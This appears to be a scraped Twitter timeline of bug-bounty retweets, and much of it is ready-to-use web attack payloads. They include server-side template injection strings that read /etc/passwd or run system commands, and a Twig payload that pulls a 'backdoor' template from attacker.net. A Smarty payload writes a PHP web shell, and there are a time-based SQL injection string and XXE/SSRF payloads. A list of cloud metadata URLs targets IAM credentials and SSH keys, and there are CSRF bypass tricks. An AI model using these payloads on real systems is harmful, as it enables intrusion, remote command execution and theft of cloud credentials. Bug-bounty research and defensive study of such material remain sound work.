
Hello! I’m #SUMOY_KHAN_MIRAN #মিরান
Bangladesh
Joined May 2015
- Tweets438
- Following1.9K
- Followers136
- Likes157
SUSMOY KHAN MIRAN retweeted
Happy Hunting!!!😎😎🚨🚨
SSTI (Server Side Template Injection)
Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}
PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}
#BugBounty #bugbountytips
SUSMOY KHAN MIRAN retweeted
Feelin cute might delete later...
github.com/jhaddix/CSPReconG…
SUSMOY KHAN MIRAN retweeted
Bypass Two-Factor Authentication of Facebook Accounts $25,300
#bugbountytips #BugBounty #infosec
medium.com/@bazzounbassem/by…
SUSMOY KHAN MIRAN retweeted
“Subdomain Fuzzing worth 35k bounty!” by HX007
medium.com/@HX007/subdomain-…
SUSMOY KHAN MIRAN retweeted
Keep this on your radar:
OWASP Wrong Secrets - 43 Secrets Management modules/challenges to train developers and security pros on secrets management flaws.
github.com/OWASP/wrongsecret…
SUSMOY KHAN MIRAN retweeted
“I earned $1000 with IDOR’s vulnerability to PII leaks outside the platform.” by Tengku Arya Saputra
aryasec.medium.com/i-earned-…
SUSMOY KHAN MIRAN retweeted
“Bug bounty program experience — Tips and Tricks” by Ramkumar Krishnan
ramkrivas.medium.com/bug-bou…
SUSMOY KHAN MIRAN retweeted
“Hunting JavaScript File for Bug Hunters” by Vivek Ghinaiya
blog.stackademic.com/hunting…
SUSMOY KHAN MIRAN retweeted
“Chaining an Blind SSRF bug to Get an RCE” by Santosh Kumar Sha (@killmongar1996)
notifybugme.medium.com/chain…
SUSMOY KHAN MIRAN retweeted
“KYC Verification Bypass via “Mass Assignment”” by Lareb
larebsec.medium.com/verifica…
SUSMOY KHAN MIRAN retweeted
“SSRF leads to access AWS metadata.” by Akash Rajendra Patil
infosecwriteups.com/ssrf-lea…
SUSMOY KHAN MIRAN retweeted
“SSTI (Server-side template injection) to RCE” by Aditya Chauhan
aditya-chauhan17.medium.com/…
SUSMOY KHAN MIRAN retweeted
I earned $5,000 with @XHackerx007 for submission on @bugcrowd #ItTakesACrowd
For 0Day SQLI in
(app extension)
payload was
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
#bugbountytips
#extension_Injection✌️
SUSMOY KHAN MIRAN retweeted
Day 5/7 : SSRF
Escalation List:
XSLT Server Side Injection:
<xsl:stylesheet xmlns:xsl="w3.org/1999/XSL/Transform" xmlns:abc="php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
OR
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
JIRA Based:
jira.atlassian.com/browse/JR…
https://victomhost/plugins/servlet/gadgets/makeRequest?url=https://victomhost:[email protected]
XXE to SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.<domain>.com/text.txt">]><foo>&xxe;</foo>
SSRF via Filename:
filename=https://172.17.0.1/internal/file.
( You can also try to change type=”file” to type=”url” within a request.)
SSRF via SVG Upload:
<svg width="200" height="200"
xmlns="w3.org/2000/svg" xmlns:xlink="w3.org/1999/xlink">
<image xlink:href="example.com/image.jpg" height="200" width="200"/>
</svg>
SSRF via Iframe in Html:
<html>
<body>
<iframe src=”collaborator.net" width=”500" height=”500"></iframe>
</body>
</html>
Many more in upcoming ones !
SUSMOY KHAN MIRAN retweeted
Day 4/7 : SSRF
Payload for Technologies:
Oracle
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data
http://192.0.0.192/latest/attributes/
Alibaba
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
Rancher
curl http://rancher-metadata/<version>/<path>
Google Cloud
metadata.google.internal/computeMetadata/v1beta1/
metadata.google.internal/computeMetadata/v1beta1/?recursive=true
AWS
http://instance-data
http://169.254.169.254
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
SUSMOY KHAN MIRAN retweeted
Hunting on a target with a Salesforce site? 🕵️♂️ You're in luck! 🍀 There's a high likelihood of stumbling upon a misconfigured object that could yield bounties ranging from $1,000 to $5,000 due to the sensitive nature of the data. 😲
Don't be fooled, many hunters overlook these targets, assuming they're safe behind a login page. 😅 However, they're actually one of the most common issues I encounter.
Here's a simple approach to spot these vulnerabilities:
1️⃣ Install this amazing tool - 🔧 github.com/moniik/poc_salesf…
2️⃣ Run python3 exploit.py -u https://{{target(.)com -d -s
3️⃣ The tool will automatically scan for object misconfigurations and display objects with result counts.
4️⃣ Found any interesting objects with a result count >0? 🧐
5️⃣ You can explore further in this nice article - 📖 infosecwriteups.com/in-simpl… to exploit the misconfiguration.
Hope this helps you on your bug bounty journey. 🚀 Enjoy! 🤑 #CyberSecurity #SecurityTips #BugBountyTips #HackerOne #BugCrowd #DailyTips #Bounties #Bounty
SUSMOY KHAN MIRAN retweeted
Bug: Blind XSS
Tool used: blindf.com
Vulnerable form : Firstname text field on Request a demo form.
Form finder: dorkking.blindf.com
Shorten the payload:
xzy.cz
I earned $1,500 for my submission on @bugcrowd bugcrowd.com/dirty0124 #ItTakesACrowd
SUSMOY KHAN MIRAN retweeted
🔒Sharing more secrets - It's 2023, and CSRF issues are far from extinct. In fact, I've discovered and reported 100+ CSRF vulnerabilities this year, raking in five figures $$$$$!💰
🚀 My top 5 CSRF bypass techniques and their secrets to success:
1️⃣ Swap "POST" with "GET": Instead of using POST requests, switch to GET and move the body parameters into the URI. This simple maneuver often overrides CSRF token implementations, enabling a full-blown CSRF attack.
2️⃣ JSON Requests: Even JSON requests relying on cookies can be vulnerable to CSRF. Here's the trick: send your request with a content-type of text/html and format the body in JSON. In some cases, if the application doesn't rely on the content-type header, CSRF can still work its magic.
3️⃣ Don't Blindly Trust CSRF Tokens: Just because an application has a CSRF token doesn't mean it's foolproof. Sometimes, backend validation for these tokens can be flawed. This means that even with the same token, a CSRF attack may still work on other users' accounts.
4️⃣ Remove the CSRF Token Parameter: Believe it or not, some applications are designed to support legacy versions. If you try removing the CSRF token parameter from the request, it may still work. This is often because apps have dual implementations, and if the parameter is missing, they fall back to the legacy version to support older versions of the app, which can often be vulnerable.
5️⃣ Legacy Endpoints: Hidden in JS files are legacy endpoints that may no longer be actively in use, but they can still be functional and vulnerable to CSRF attacks. These abandoned endpoints are usually not maintained or updated to the latest security standards, making them prime targets for CSRF exploitation.
🎯 Lesson: CSRF issues are not to be underestimated. They are often hiding in plain sight, waiting to be discovered, and they can offer substantial bounties. Happy hunting, and enjoy the rewards! 💎💻 #Cybersecurity #CSRF #BugBounty #InfoSec #hackerone #bugcrowd #cybersecuritytips #securitytips 💰💡





















